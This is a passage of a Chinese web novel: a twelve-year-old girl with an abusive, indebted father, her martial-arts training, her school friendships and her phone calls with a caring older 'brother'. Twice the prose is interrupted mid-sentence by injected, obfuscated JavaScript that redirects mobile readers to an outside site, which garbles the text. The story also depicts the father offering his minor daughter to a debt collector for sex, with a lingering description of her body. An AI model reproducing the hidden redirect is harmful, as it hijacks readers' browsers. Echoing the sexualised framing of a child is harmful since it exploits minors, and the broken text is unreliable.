关于毕业典礼的事，林梓潇谁都没有告诉，包括顾执，她本就打算平淡无奇地度过这一天，就当作是普通的一天。 倒是陈让多管闲事，不知道从哪里弄来顾执的联系方式，告诉他这件事。 毕业典礼必须要家人参与，这也是陈让奇奇怪怪的仪式感。 林梓潇垂眸看了看手上的毕业照，无声笑了笑。 拍照时从矮到高排，陈让还是没她高，比她低一排，两人正好前后站着，一个笑容灿烂，一个几乎面无表情，笑得十分浅薄，几不可见地微微勾起嘴角，算是表示对毕业照的尊重。 难得清醒的林恺看见她手里的毕业照，好奇问道：“你毕业了？” 林梓潇面色顿时冷了下来，随手收起毕业照，不冷不淡地“嗯”了一声。 她从来没和林恺说过自己的学习情况，就连家长会都是跟老师搪塞说家长没空不能来，也好在林梓潇成绩优异，没有和家长交流的必要。 林梓潇正在收拾自己小学时用的课本和作业本，打算把没用的东西都拿去卖了，期末成绩单就躺在课本的顶端。 林恺一把拿起成绩单，林梓潇根本来不及阻拦。 他迅速地扫视了一通，咧开一嘴黄牙笑道：“班级排名第一，你成绩很好嘛？有我年轻时的风范！” 林梓潇皱了皱眉，从林恺手里夺回自己的成绩单，胡乱塞进书本里，不搭他的茬。 “你什么态度？我是你老子知不知道？养你这么大，对亲爹就这种态度？去，给我倒杯水去！”林恺抬脚踢散林梓潇整理好的一叠书本，大爷似的坐在椅子上。 林梓潇冷眼看着他发号施令的样子，嗤笑一声：“你算哪门子亲爹。” 林恺一下子火大起来，一把将桌子上的杂物都扫到地上。 他在外面当孙子，回家来却想要当皇帝。 “我给你脸了是不是，忘了以前被我打成什么样了？敢不听我话，我收拾你信不信？”林恺指着林梓潇鼻子破口大骂。 林梓潇睨他一眼，并不怵：“看来你也是忘了在看守所过的什么日子了。” 林恺被戳中痛脚，猛地一下跳起来，随手抄起杯子就掷过去：“反了你了，还敢跟老子顶嘴！” 林梓潇侧身避了避，杯子擦着她砸到了厨房门上。 门外听着动静的陈让听到玻璃破碎的声音，浑身哆嗦了一下，两手使劲推他爸：“爸你快敲门，潇潇她爸可恐怖了！” 他爸虽然也打他，但都是打屁股，哪会像潇潇她爸这样又摔又砸的。 陈让之前有一次来林梓潇家抄作业，不幸遇到了回来的林恺，他喝的醉醺醺的，在客厅里大甩酒疯，一会摔东西一会骂人，吓得他好久都不敢到林梓潇家里来。 陈爸也怕出什么事，赶紧敲了敲门，扬声道：“梓潇同学在家吗？” 林梓潇再次闪过林恺的攻击，快步到门口给陈让和他爸开了门。 林恺认得陈让是林梓潇的同学，刚想叫他滚远点，就看到了站在陈让身后的陈父。 陈父是当地挺有名的富商，林恺在夜总会里远远见过他，一眼就认出他来，原来还震怒的神情立刻谄媚起来：“是陈总啊，原来陈让是您儿子啊！欢迎欢迎，不好意思啊，家里有点乱，您别嫌弃！” 陈让看着林恺，默默咽了口口水，小心翼翼道：“叔…叔叔好，我和潇潇约好今天去我家打游戏的。” 林恺对陈让眉开眼笑地说：“哦，好啊好啊，放假了也空，小孩就是要多约着玩一玩！” 陈父看不起林恺这种没什么本事，还要在家里耍威风的男人，对他没有什么好脸色：“那潇潇我们就带走了，晚上再送她回来。” “好的好的，尽管带走。”林恺完全不像一个正常的父亲。 林梓潇也懒得理他，拿起自己的书包就跟着陈让两父子出门了。 她很谨慎，手机、现金和银行卡都是随身带着，尤其是在林恺在家的情况下，从不离身，也正是因为她的谨慎，这么多年来没出过什么岔子。 等上了陈父的车，陈让有些心有余悸地跟林梓潇说：“潇潇，你爸真可怕，我刚才在外面听到他砸东西都吓死了，你没受伤吧？” “没。”林梓潇摇摇头，没什么特别的反应，这几年林恺虽然不打她了，但时不时就要抽个风，她早习惯了。 林梓潇从书包里抽出两本习题册，递给陈让：“喏，专门给你挑的，符合你的水平，暑假里做了吧。” “啊？”陈让立刻变成了苦瓜脸：“暑假里还要做习题啊。” “不仅要做题，还要上课呢，陈让，我给你报了散打课，每周三节，你增加点男子气概，”驾驶座的陈父一边开车一边说：“潇潇也一起去上吧，以后能保护自己。” “啊！”陈让大叫一声，瘫倒在后座。 林梓潇连忙摆手推脱：“叔叔，我就不用了吧，太让您破费了。” “没事，都是小钱，别客气。”陈父从后视镜里看林梓潇，朝她和蔼地笑了笑。 同样的岁数，林梓潇像小大人似的，干什么都有模有样，陈让跟她比，简直就跟个傻子一样。 他也是看到林梓潇爸爸那副嘴脸，才突然想到要送林梓潇一块去上课的。 并不是所有父母都是合格的父母，要面对这样的父亲，林梓潇必须要学会保护自己。 陈父叹了口气，又道：“就当陪陪陈让，没有你一起，他肯定又是三天打鱼两天晒网地糊弄过去，以后我每周都让司机来接你，你和陈让一块去上课。” 林梓潇早早接触了社会，比一般小孩要懂得察言观色得多，她看得出来，陈让爸爸是真心希望能让她一起去上课，而不是随口客气的。 她也看得出，陈让爸爸是看到林恺后，出于对她的同情和照顾，才作出这样的决定，而她恰好，确实需要拥有保护自己的力量。 林梓潇权衡后，也没再拒绝，诚恳应道：“那就谢谢叔叔了，我一定好好帮助陈让。” 陈父开心地对两个孩子说：“你们俩一起上课也有个伴，要好好学啊！” 唯一不开心的只有陈让，他一想到暑假要□□练，就在后座假装自己昏死。 * 暑假时顾执去参加了学校组织的夏令营，要出国两个月，没时间来镇里，两人只能定时通电话，倒是宋诗和顾清明来了两趟。 看到林梓潇在学散打，纷纷夸赞支持，还给她在俱乐部续了好久的课。 陈让和林梓潇就这么练了两个月的散打。 陈让确实吃不了苦，他是爸妈的独子，还是他爷爷奶奶唯一的孙子，从小就娇生惯养长大，哪里受得了这种摔摔打打的项目，动不动就要耍赖不练，还总是试图逃课。 好在有林梓潇在，她谨记陈让爸爸的嘱托，一点懒都不让他偷，比教练还严格，偏偏陈让还真有点怕她。 毕竟教练都是口头训人，林梓潇是真揍。 两个月下来，效果还是挺明显的，原本两人都是偏瘦弱的身型，练完以后，明显变精壮了，有肌肉了，也有力气了。 林梓潇学什么都很快，就连打架也是，每次教练让两人对练，她都能把陈让打趴下，陈让起初还卯着劲儿，想着不争馒头争口气，后来发现林梓潇就是座无法翻越的大山，人家聪明就算了，还努力，被揍多了以后，陈让就躺平了。 输给林梓潇，不丢人。 为了感谢陈叔叔，林梓潇每周都会去陈家给陈让上课，预习初一的内容，搞得陈让看到她比看到老师还惊悚。 林恺见林梓潇和陈家走得这么近，平时对她都客气了不少，还总试图让林梓潇介绍自己给陈让爸爸认识。 林梓潇权当耳旁风，随口敷衍两句，按时去陈家给陈让补习，绝口不提林恺。 不过陈让确实不是什么读书的料，那脑子好像被浆糊糊住了似的，总是怎么教都教不会，把林梓潇气得都没脾气了。 “设未知数x呀，不是刚做过这种例题吗？”林梓潇气得扶额，翻出习题本给陈让看，“你看这两题，根本没区别啊，换一种说法你就不会做了？” 陈让假装恍然大悟，又做了一遍，结果还是错的。 林梓潇气的半死，但又不能在他家打他，只好抓着陈让的肩死命晃他，试图把他脑浆晃匀：“怎么又错，你再仔细思考一下啊！” “呃啊啊啊啊啊。”陈让一边被晃一边怪叫。 陈让妈妈看着林梓潇恨铁不成钢的样子和自家儿子的傻样，忍不住笑出声，给两人送了一盘水果。 “潇潇，吃点水果吧，别被这傻子气坏了。”陈让妈妈对林梓潇温柔笑笑。 陈让妈妈总是穿着一身飘逸的长裙，头发做成精致漂亮的微卷，看起来漂亮又清新，是所有孩子幻想中那个时髦温柔的妈妈模样，林梓潇看到她，人也冷静了一些，收起被陈让气出的暴躁模样，故作稳重地道谢：“谢谢阿姨。” 林梓潇人长得漂亮，小小年纪就格外成熟懂事，成绩又好，还会来事，平时来家里还要带两袋水果，陈让爸妈越看越喜欢，对她比对陈让还好。 陈让妈妈送完了水果就出去了，不打扰两个孩子学习。 林梓潇见陈母走远，咬牙切齿地威胁陈让：“开学摸底考，你要是敢考倒数，对练时候且等着。” 陈让闻言，立刻惊恐地埋头苦学。 毕竟教练看在家长的份上，一般都会让他三分，下手也不重，但林梓潇是真打啊，真疼啊！ * 开学后的摸底考，陈让努力考了个年段中游的名次，分到了五班。 前两个班是尖子班，林梓潇是尖子中的尖子，以年级第一的成绩被分到了一班。 陈让暑假时窜了点个子，开学时已经长到一米七几了，在同龄男生里算是很高挑的，再加上脸长得好看，性格也好，在同学之间很吃得开，在女生中也很受欢迎，刚开学就成了年段里的风云人物。 后来不知道怎么回事，他和高年级一个号称校霸的男生起了冲突。 学散打到底还是有用的，陈让虽然打不过林梓潇，但打别人倒是绰绰有余。 再后来，陈让莫名成了一初的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578461|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新校霸，等两耳不闻窗外事，一心只读圣贤书的林梓潇再找他的时候，他身后已经跟了一群小弟了。 林梓潇：“？” 几个跟着陈让的男生恭敬地喊她：“潇姐！” “……”林梓潇皱着眉头，无语道：“别这么喊我。” 她羞耻。 一个男生冒着星星眼看她，崇拜道：“听让哥说，您打架比他还厉害。” 另一个男生一唱一和：“而且摸底考还是年段第一。” 林梓潇抽搐着嘴角看向陈让。 这货又在外面给她立什么人设。 陈让羞涩地摸了摸后脑勺，一脸不用夸我的表情。 林梓潇：“？” 林梓潇脸都黑了，拽着他领子把他揪到一旁，压低声音斥道：“你搞什么呢？” 陈让一脸无辜：“我没有搞，都是他们自己凑上来的，小弟不收白不收嘛，而且你不觉得这样很拉风吗？” “我觉得丢脸。”林梓潇面无表情地说。 “哎呀潇潇～”陈让做作地在她旁边扭来扭去：“你就让我玩嘛，保证不影响学习！” “懒得管你，”林梓潇朝他翻了个白眼，“当心你爸削你。” 提到这个，陈让立刻又骄傲起来了，拍着胸脯说：“不会，我爸知道，他还夸我像他呢，他说他年轻的时候也有很多小弟。” “……”林梓潇彻底无语了。 一旁的几个小弟见陈让对林梓潇如此低声下气，顿时更崇拜她了。 林梓潇性格算不上活泼，但也不是特别沉闷的类型，不是很爱笑，笑起来总是带有一点嘲讽的感觉，面无表情的时候挺唬人的，有种不属于这个年纪的独特气质，陈让的几个小弟莫名其妙地就崇拜上了她，搞得她有点头疼。 但是很快还有更头疼的。 陈让虽然成了“校霸”，但性格还是很好，脾气好，也很好说话，在年段里人缘很好，甚至还有不少女生喜欢他。 他逢人便提林梓潇，于是林梓潇的人设就这么立了出去。 年段第一的学神是校霸的老大。 虽然林梓潇根本不怎么社交，但却突然就成了学校里的风云人物，平时走在路上，甚至有不认识的人和她打招呼，还管她叫潇姐。 林梓潇把这件事讲给顾执听，把他逗得哈哈大笑。 林梓潇内心的无语没能被人理解，而且对象还是顾执，她瞬间有些委屈，不满地控诉他：“哥哥你能不能别笑了。” 顾执收敛了笑容，只是声音里还带着笑意：“好好好，不笑了。” 他平复了一下，对林梓潇说：“这样不是很好吗，你都不用开口，陈让就帮你交了一群朋友。” 林梓潇把下巴搁在桌子上，嘟嘟囔囔地撒娇：“只要哥哥。” 要是陈让在场，看到她这副样子，估计都要怀疑他是不是被上身了。 撒完娇，林梓潇又委委屈屈地控诉：“哥哥，暑假你都没来看我！” “对不起小宝，哥哥错了，国庆的时候来找你好不好？”顾执轻声细语地哄她。 虽然林梓潇已经十二了，算是个小大姑娘了，但顾执看着她长大，总觉得她还是个孩子，常常都是像哄孩子一样哄着她，有的时候还会在电话里念书哄她睡觉，像小时候一样。 顾家夫妻把林梓潇当成小女儿，三人对她的昵称都是小宝。 林梓潇小猪一样哼哼了两声，算是回应，又把顾执逗得直笑。 “潇潇，别就跟陈让玩，多交交朋友，好不好？” 顾执倒真觉得挺好，他希望林梓潇能多交朋友，在友情中获得更多温暖，性格自然也会更健全。再者说，陈让那孩子他也挺放心的，想必不会给潇潇找些乱七八糟的朋友。 林梓潇从来不会拒绝顾执，她乖乖应下：“知道了，哥哥。” 顾执温声嘱咐她：“你不要把自己逼得太紧，空下来了就和朋友出去玩，去逛逛街，打打电动，这个年纪的小朋友就应该过得多姿多彩一些，不要太节省，知道吗？哥哥希望你开开心心的。” “嗯……”林梓潇又默默地蓄了点眼泪，声音有点颤抖。 “小哭包，又哭了。”顾执嘴上笑她，心里却也有些闷闷的。 怎么能不委屈呢？ 这个年纪，别的孩子都在父母怀里肆意撒娇，潇潇却总要瞻前顾后，生活里什么事都要自己解决，还要努力学习。 每一年，去参加林蔚然和林景然生日会的时候，顾执心里都很不是滋味。 两个孩子一起生日，林家总是会大办，邀请一大群孩子到家里做客，组织各种活动，玩累了又有大餐，两个孩子风风光光地切开三层高的蛋糕，收获的礼物可以堆满一个房间。 他知道那天也是潇潇的生日，而她只会去小镇的烘焙店买一小块廉价的裱花奶油蛋糕，然后自己吃完，有时候甚至还会忘了自己的生日，好像对她来说，出生也不是什么值得庆祝的事。 可她本该也是父母的掌上明珠。 “不哭了好吗，擦擦眼泪，不要哭着睡觉，会压迫神经的。”顾执柔声叮嘱她。 林梓潇一被安慰，眼泪更止不住了，小声哭诉：“好想你啊哥哥……” 顾执心里也因为她的眼泪，被带起一阵酸涩，压低声音说：“我也想小宝。” 和小哭包林梓潇认识这么久，顾执哄人已经很熟练了，他哄了很久，林梓潇才渐渐止住了哭泣，为了避免她哭完就睡觉，顾执又陪她聊了好一会天。 讲了一个多小时，已经快十一点了，顾执又催她睡：“快去睡觉，睡晚了小心明天起不来。” “那我要哥哥讲故事。”林梓潇对着顾执总是会有些小任性。 顾执也只能妥协，随手抽了一本书架上的小说：“那今天读《傲慢与偏见》，躺床上去，闭好眼睛。” 林梓潇大声回应：“躺好了！闭好了！” “好，”顾执失笑一瞬，开始读小说，“有个道理众所周知：家财万贯的单身男子，肯定是需要一位太太的。这个道理极度深入人心，所以每当这样的单身男子乔迁新居……”【2】 顾执其实已经开始变声了，好在现在已经变得差不多了，声音变得有些低沉温润，带点少年的清越，还挺好听的。 林梓潇把手机开着免提放在一边，听着手机里传来的声音，乖乖入睡。 读了半个多小时，顾执喝了口水润喉，轻轻唤了声：“潇潇？” 那头没有回应，想来是已经睡熟了。 顾执看着通话界面，小声道：“晚安，潇潇。” 那头的林梓潇缓缓睁开眼睛，无声地说：“晚安，哥哥。” 看着结束通话的手机界面，她轻轻扬起一抹微笑，抬手轻抚过写着哥哥的手机屏幕。 哥哥真笨。 其实每一次讲故事，她都没有睡着过。 12. 第十二章 林梓潇的校园生活过得波澜不惊。 每天中午，陈让都会带着一大群小弟来找她去食堂吃饭，浩浩荡荡的一大帮人，很惹眼。 林梓潇起初并不想加入，她宁愿自己一个人吃饭，也不想跟着陈让当现眼包。 奈何想起了顾执的嘱咐，最终还是强忍着无语一道吃了。 林梓潇和顾执并不是单线联系，陈让有顾执的联系方式，两人偶尔会交流她的近况，陈让有时还会告她的状，这让林梓潇没法阳奉阴违。 顾执让她多交朋友，她就只能多交朋友。 好在陈让周围的朋友，虽然有的中二有的傻，但总的来说都是不错的人，几个月下来也都混熟了。 不过林梓潇虽然跟陈让的朋友混熟了，跟班里的同学却始终很疏远。 林梓潇不爱社交，班里的同学也不敢主动接近她。 林梓潇不爱说话，也不爱笑，看着就不是什么和善的人，再加上还有学神光环加身，显得格外只可远观。 最重要的是，林梓潇还和陈让一帮人玩得很近，除了有“校霸”之名的陈让外，各个也都不是好惹的主，在普通学生看来，还是很有威慑力的。 * 正值午餐高峰期，罗明希和胡月在食堂绕来绕去也没找见空座，只剩林梓潇一行人那桌还剩两个空位。 那一大桌男生都闹腾腾的，好几个还是年段里有名的刺头，林梓潇坐在最边上，很少开口说话，但莫名有股老大气质，定海神针一般坐在那里。 两个女生你推推我我推推你，都不敢上前。 “走呀，一块去，”胡月跟罗明希咬耳朵：“难道要站着吃饭啊？” 罗明希一咬牙，勇敢迈出了第一步。 两个小女生走到林梓潇身旁，小心翼翼地戳了戳她，低头轻声问道：“林同学，这两个座有人么？” 跟几个男生比起来，林梓潇安静多了，她抬头看了一眼两人，认出这是班里的同学，抬抬下巴示意道：“你们坐吧。” 两个女生忙不迭道谢，拿着餐盘坐了下来。 吃了没一会，两个男生端着吃的喝的过来，见桌子上已经没了位置，顿时大叫道：“咋没位置了？我俩坐哪啊？” 林梓潇淡淡道：“站着吃。” “别吧潇姐，”男生苦着脸，把排队买的的甜米露放在林梓潇面前，“你看我还给你买喝的呢，队老长了。” 罗明希和胡月还以为这两个位置是没人的，林梓潇才让她们坐，一见有人过来，觉得自己占了别人的座，连忙想起身让座。 两人对这一桌人都有种莫名的惧怕感，罗明希慌慌张张地朝两个男生道歉：“不好意思不好意思，你们坐吧。” 林梓潇按住她：“不用。” “你们是潇潇的同学？坐着吧，”陈让笑呵呵地指挥其他人：“挤一挤挤一挤，还是有位置的。” 食堂的椅子是那种一整条的长凳，众人挪挪屁股挨近了一些，给两个男生腾出空位。 罗明希都不好意思了，红着脸朝众人道谢：“谢谢你们。” “不用谢，你们俩是潇姐的同学啊？那就是大学霸嘞，跟你们同桌吃饭才荣幸呢。”林梓潇对面的男生打趣道。 罗明希脸更红了，连连摆手：“没有没有，林同学比较厉害。” 林梓潇在一初确实挺传奇，从摸底考开始，每一次月考，到最近的期中考，年段前十的名字一直换，只有她始终稳坐第一宝座，而且还是把第二名甩开老远的那种。 林梓潇不是那种谦虚的人，听到别人夸她，都不带客气的，只轻轻笑了一声。 林梓潇几人来得比较早，再加上男生狼吞虎咽吃的快，没一会就吃好了。 过了吃饭的高峰期，食堂里的人就少了很多，位置也空了出来，于是几人也不急着走，还坐在原地聊天侃大山。 林梓潇照例让陈让把自己随堂小测的卷子拿了出来，皱着眉头仔细看。 陈让紧张地看着她，都不敢跟旁边的朋友聊天了。 “……”林梓潇吸了口气。 陈让吓得一哆嗦，赶紧滑跪认错：“我粗心做错了好几题，已经反省过了，你看我都订正好了，就写在旁边呢，都是我自己做的，没问别人。” “孩子死了你来奶了？”林梓潇毫不客气地把卷子拍到他脸上，“做的时候为什么不仔细点？” 陈让被她劈头盖脸扔了卷子也不恼，赔着笑脸道：“错了错了，有了这次教训，下次正式考试我就做对了。” 林梓潇“呵呵”两声，不把他画的饼当真。 林梓潇冷漠无情地说：“反正你爸说了，期末考要是不进年段前两百，你寒假的压岁钱就没收。” 一初一个年段总共五百多个人，陈让的成绩在中下游徘徊，在年段三百名左右，说好不好，说差也差不到哪去。 “不要啊！”被戳中了痛处，陈让立刻求饶，“我真的知道错了，姐，你再教教我吧！” 陈让上贡一样双手奉上自己的小测试卷。 林梓潇冷冷地瞅他一眼，从口袋里抽出一支黑笔，随手给他讲起了错题。 罗明希和胡月吃完的时候，林梓潇还在给陈让讲题，她们俩不好意思打扰，想悄摸摸地走掉。 倒是陈让注意到，抬头冲她们挥了挥手：“走了？下次再一起吃饭啊！” 陈让长得很漂亮，小时候还是那种比较精致秀气的漂亮，五官长开些以后，就变成了有点英气的漂亮，笑起来眼睛亮亮的，特别勾人。 罗明希的脸又红了，小声地应道：“好。” 林梓潇也抬起头来，对两人点头示意道：“教室见。” 见了林梓潇和平时不一样的一面，两个女生对她都感到亲近了不少，压抑着兴奋跟她道别：“一会儿见。” 等走远了以后，才叽叽喳喳地放开声音聊天。 “林同学人挺好的啊。”胡月说。 罗明希脸上的红晕还没散，嗯了一声：“陈让也没别人传的那么恐怖。” 林梓潇性子冷了些，长得又不好惹，平时在班里都没什么人敢跟她说话，就连课代表来收作业都是小心翼翼的，好像生怕触怒了她。 不知道两个女生回去聊天的时候跟其他人说了什么，林梓潇总感觉有女生在偷偷摸摸瞥自己，好像想和她说话似的。 直到有次下课，竟然有个女生带着作业本来找她问问题，把本子往她桌上一摊，眼睛眨巴眨巴的：“林同学，老师说这题全班只有你做对了，你能教教我吗？” 林梓潇：“……” 就连周围本来在聊天的几个同学都不说话了，下意识往这里看过来，好像怕林梓潇一个不爽就动手打人似的。 林梓潇倒没什么反应，从桌上拿了支铅笔，在几何图上画了一条辅助线，指着题目给人讲解了一下。 她习惯了给陈让讲题，陈让那个蠢货，饭得嚼碎了喂进嘴里才能懂，于是林梓潇便讲得细致了一些，连用到的公式都列在一旁。 讲完，女生立刻露出了恍然大悟的表情，笑着说：“林同学，你讲题好仔细啊。” “嗯……”林梓潇不太习惯和人交际，不自在地摸了摸额角。 女生从口袋里拿出一把糖放在林梓潇的桌子上：“谢谢你帮我讲题，这些请你吃！” “谢谢。” 林梓潇想表达一下自己接受了她的谢意，摸了一颗桌子上的糖，撕了包装塞进嘴里。 橙子味的，挺甜。 她还没反应过来的时候，又有另一本作业放在了她的桌上。 林梓潇疑惑地看过去。 是她前桌的男生，朝她笑得谄媚：“林同学也给我讲一讲呗，不过我没有糖。” “没糖的捧个钱场。”那个给糖的女生揶揄他。 林梓潇罕见地露出了一个笑容。 “你笑了耶，”女生惊讶地指着她，“你笑起来真好看。” 林梓潇有些不好意思地收起笑容，抿了抿唇，扯开话题：“……还是讲题吧。” * 不知道从什么时候开始，林梓潇的桌子变成了班级里最热闹的地方。 每当下课的时候，就有人拿着题排队来问她。 毕竟林梓潇确实讲得好，深入浅出，而且同为学生，她比老师更知道哪里需要解释，总是讲得比参考答案更详细，有时甚至还会提供同类型例题。 而且比起问老师，问同学也没有什么心理压力，不用担心被老师骂上课不仔细听。 不知道是不是受第一个来问她的女生影响，好多人来问问题的时候，总是给林梓潇送点什么，搞得她抽屉里总是有很多东西，有时还要分给陈让他们才吃得完。 林梓潇在班级里的称呼，逐渐从林同学变成了林梓潇，后来又变成了梓潇，有些男生会玩闹着叫她潇姐，还有些比较活泼的女生，也会学着陈让叫她潇潇。 到底是环境影响人，林梓潇在学校里朋友多了以后，脸上笑脸都变多了。 “潇姐，我们走了啊，明天见！”一起做值日的几个男生女生跟她道别。 “嗯，路上小心。”林梓潇朝他们点点头，随手把自己桌上的东西收进书包。 刚才自习课的时候，外面突然下了很大的雨，重重地砸在窗上，淅淅沥沥的雨声透过窗户闷闷地传进来。 林梓潇不喜欢下雨天，尤其是这么大的雨。 因为每次下大雨的时候，林恺也会呆在家里不出去，她不想看到林恺，宁愿他在外面鬼混。 “潇潇！”陈让在教室门口夸张地挥着手叫她。 林梓潇收拾好了书包，拿着伞走出教室。 “雨下得太大了，一会上我车，让司机送你回家。”陈让搭着她的肩带她一起往外走。 林梓潇没有拒绝。 这是顾执教她的，不要拒绝朋友随手给的善意，适当地接受帮助可以让关系变得更亲近。 这年代有车的家庭还不多，陈让家的奥迪轿车在校门口挺扎眼的。 上了车，才发现今天来接陈让的不是他家司机，是他爸亲自来的。 “潇潇来了，”陈父跟她打招呼，“我就想跟陈让说来着，雨下这么大我送你一块回去，没想到这小子还挺懂事，已经把你带来了。” “谢谢叔叔，麻烦你了。”林梓潇从后视镜里头抿唇朝他笑笑。 “有什么麻烦的，一脚油门的事儿！”陈父挥挥手，让她不要客气。 陈让和林梓潇关系好，林梓潇也念着陈父对她的善意，每个周末都到陈家给陈让补课，陈让爸妈都很喜欢她。 这瓢泼大雨砸在地上，着实有点吓人，才五点出头，天就已经完全黑了下来。 陈父把车子开到林梓潇家楼下，她一边开门一边撑开伞，速战速决地跑到屋檐下，冲陈让和陈父挥手道别。 雨声太大，听不清她的声音，陈让吼了一句让她赶紧进去。 “走了！”林梓潇摆摆手，收了伞走进居民楼。 她抖了抖伞上的雨水，心里默想着刚背的古诗，低头单肩背着包往楼上走。 林梓潇走到家门口，正打算摸钥匙开门，却看到门只是虚掩着，并没有关实，手上的动作顿时停住了。 还没等她来的及作出什么反应，房门就被人从里面打开了。 开门的人剃着个极短的寸头，一身黑皮衣，面相很凶，看着就不好惹。 林梓潇默默捏紧了书包的带子。 她朝屋里看去，客厅里还站了四五个男人，手里拿着棍子，都是一脸凶相毕露的样子。 林恺跪在几人中间，双手抱头，身上被打得青青紫紫的，嘴角都渗着血。 看到林梓潇，他艰难地开口：“各…各位大哥，别打了，我女儿来了。” “你女儿来了怎么了？”站在林恺身边的纹身男一脚将他踹翻在地，啐道：“天王老子来了我也照打不误！” 林恺脸朝地倒在地上，好半天没缓过来。 纹身男把脚踩在他身上：“我告诉你，欠债还钱，天经地义，你说没钱，这不还有套房子吗？你把房子卖了还啊！” 林恺唯唯诺诺地说：“大哥，房……房子卖了我住哪啊？” “你住哪关我屁事！”纹身男又往他身上踹了一脚，“我只知道你欠我钱，就得还！” “别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578462|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了别打了！”林恺在地上缩成一团，双手护着自己的头。 纹身男见他不提还钱的事，提棍又想揍他。 林恺连忙拿手挡着喊停：“等等等等！刘哥，我能还我能还！” “你打算卖房子了？”纹身男拿棍子戳他。 “这不是还有别的还钱方式吗？”林恺默默地看向了站在门口的林梓潇，朝纹身男讪笑道：“刘哥，你看我女儿漂亮吗？” 纹身男顺着他的视线看向了门口的林梓潇。 十几岁的女孩站在门口，稚嫩的眉眼初露锋芒，漂亮的凤眸里透着一股坚毅。 小姑娘虽然看着年纪不大，不过个子已经窜得挺高了，跟成年女性没什么区别，脸蛋看着却是年轻俏丽，身形也还青涩，独有一番风味。刚才在外面淋了点雨，校服有些湿了，湿答答地粘在身上，透出些肉色。 林梓潇察觉到他的视线，迅速地将书包背到身前。 纹身男不怀好意地笑了笑：“挺漂亮的，你挺有福气啊。” “那刘哥您看，这么漂亮，还是第一次，一次多少钱合适？”林恺讨好地看着纹身男。 这么多年来林梓潇都是独自面对世界，她并不是什么都不懂的单纯孩子，听到林恺说的话，她顿时感觉脚底涌上一阵彻骨的寒意，浑身都冰凉得想发抖。 林梓潇从来知道林恺不是什么好东西，但她以为，他至少还是个人。 她死死地看着跪在地上的林恺，仿佛第一次真正认识这个男人。 这一瞬间，她好像听到了心里荒芜的世界又再次崩塌。 “多少钱一次么……我试过了再说，”纹身男坏笑着舔了舔唇，好似想到了什么。 他转头指挥门口的寸头，“浩子，把人抓过来！” 寸头立刻准备动手，伸手去拉林梓潇。 林梓潇迅速地回过神，把手里的沾满水的雨伞往寸头脸上扔。 寸头下意识扭头避开，林梓潇抓住时机，一脚往他小腹踹，把人踹得踉跄着摔在门上，她趁机往楼梯下跑。 寸头没对一个十岁出头的女孩设防，没想到她力气还挺大，捂着肚子一时起不来。 纹身男也没想到能让林梓潇一个小姑娘就这么跑了，指挥旁边几个人：“赶紧追呐！” 林梓潇三个台阶并作一个地往下跳，外头的瓢泼大雨她也没心思管了，一股脑就冲进了雨里。 好在学散打的时候，教练一直训练他们的体能，林梓潇体力并不差。 她努力稳住心神，尽量让脚步稳健，只要不出岔子，跑到街上就安全了。 豆大的雨点砸在身上，有点疼，雨水泼在脸上，模糊了视线，林梓潇只知道，要用力地往前跑，再用力一点。 她凭借着对小区的熟悉，七拐八拐地冲到街口，身后杂乱的脚步声没停，那群混混还在追她。 不远处，卤味店里的男生看到从巷口冲出来的林梓潇，使劲眯眼仔细看了看，看清楚后，指着外面蹦蹦跳跳地跟他妈喊：“妈，我那个同学！叫林梓潇的，你记得吗！” 正在收拾餐盘的中年女人没抬头，一边干活一边回道：“哦，我记得的，你们年级第一嘛，你有她一半我就省……” 女人还没说完，胡见明就随手拿了一把伞冲了出去，一边跑一边喊：“潇姐，这里！你没带伞吗！” 林梓潇没刹住车，被他一拦，两个人撞到了一起。 “潇……”胡见明扶住林梓潇，刚想说点什么，就看到后面追着她的一群男人，一个个脸上都写了‘混混’两个大字，有的手里还提了棍子。 胡见明嘴唇嗫嚅了一下，大概也反应过来林梓潇遇到事情了。 他心里有些慌，但片刻后，他还是颤颤巍巍地站到了林梓潇身前，虚张声势地朝几个男人喊：“你们是干什么的！” 几个男人根本不把这种初中的小鸡仔放在眼里，横眉指着他：“小屁孩滚远点，没你事儿！这小姑娘她爹欠我们钱知道吗！” “她爸欠你们钱关她什么事！你们去去找她爸呀！”胡见明心里也有点怂，硬撑着才没后退。 他虽然平时不学好，在学校里也是个没人敢惹的刺头，但是这几个男的个个人高马大的，一看就知道是社会上的人，跟他们比起来，自己简直是小巫见大巫了。 林梓潇因为刚才高强度的奔跑，大口大口地喘着气，她抓着胡见明的肩膀，声音有些抖：“不关你的事，你别管了。” 如果今天是一个成年男人来帮她，她可以心安理得地接受帮助，可是胡见明也只是个初中的孩子，这几个混混不好惹，她不想拉同学下水。 “潇姐……”胡见明为难地看着她，不想轻易后退。 虽然他知道林梓潇很厉害，也很崇拜林梓潇，可是再怎么厉害，她也只是个十来岁的女孩，让林梓潇一个人单独面对这些混混，他不知道会有什么后果，而他承不承担得起这样的后果。 “怎么了？怎么还不进来？”见胡见明和林梓潇迟迟不来，卤味店里又走出好几个半大的男孩。 看见外面僵持的场景，几人都愣了愣。 几个男生都是平时玩的不错的那帮人，雨下的太大了，临时跑到胡见明妈妈的店里躲躲。 